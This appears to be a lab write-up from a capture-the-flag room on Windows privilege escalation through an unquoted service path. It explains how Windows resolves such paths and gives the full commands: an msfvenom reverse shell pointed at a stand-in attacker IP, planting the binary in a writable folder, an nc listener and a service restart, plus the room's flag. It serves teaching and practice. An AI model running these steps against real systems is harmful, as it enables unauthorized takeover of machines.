Unquoted Service Path

← Back to Windows Privilege Escalation

How Windows Resolves Unquoted Paths

Given an unquoted path like:

C:\My Programs\Disk Sorter Enterprise\bin\disksrs.exe

Windows tries each of the following in order before reaching the real binary:

C:\My.exe
C:\My Programs\Disk.exe
C:\My Programs\Disk Sorter.exe
C:\My Programs\Disk Sorter Enterprise\bin\disksrs.exe

If a file exists at any of those earlier locations and that location is writable by a low-privilege user, the attacker controls what runs.

Enumeration

sc qc "disk sorter enterprise"

The BINARY_PATH_NAME was unquoted and contained spaces. Checked the parent directory:

icacls C:\MyPrograms

Regular users could create files there. That's the writable intermediate path Windows would check first.

Generating the Payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=KALI_IP LPORT=4446 -f exe-service -o rev-svc2.exe

Downloaded to the target and placed at the path Windows resolves first:

move /Y C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F

Started the listener on Kali:

nc -lvnp 4446

Restarted the service:

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

Shell Lands

Windows resolved C:\MyPrograms\Disk.exe before it ever reached the real binary.

wprivesc1\svcusr2

THM{QUOTES_EVERYWHERE}

Why This Works

Quoting service binary paths is a configuration detail that's easy to get wrong and rarely checked. The vulnerability exists entirely in the space between how the path was written and how Windows parses it.

The attack surface is the gap between the writable directory and the real binary location. The further back in the path the writable directory is, the more path resolution steps Windows has to go through, and the more opportunities exist for interception.

sc qc on every service is worth doing during enumeration. Unquoted paths with spaces are common in third-party software installers.

← Back to Windows Privilege Escalation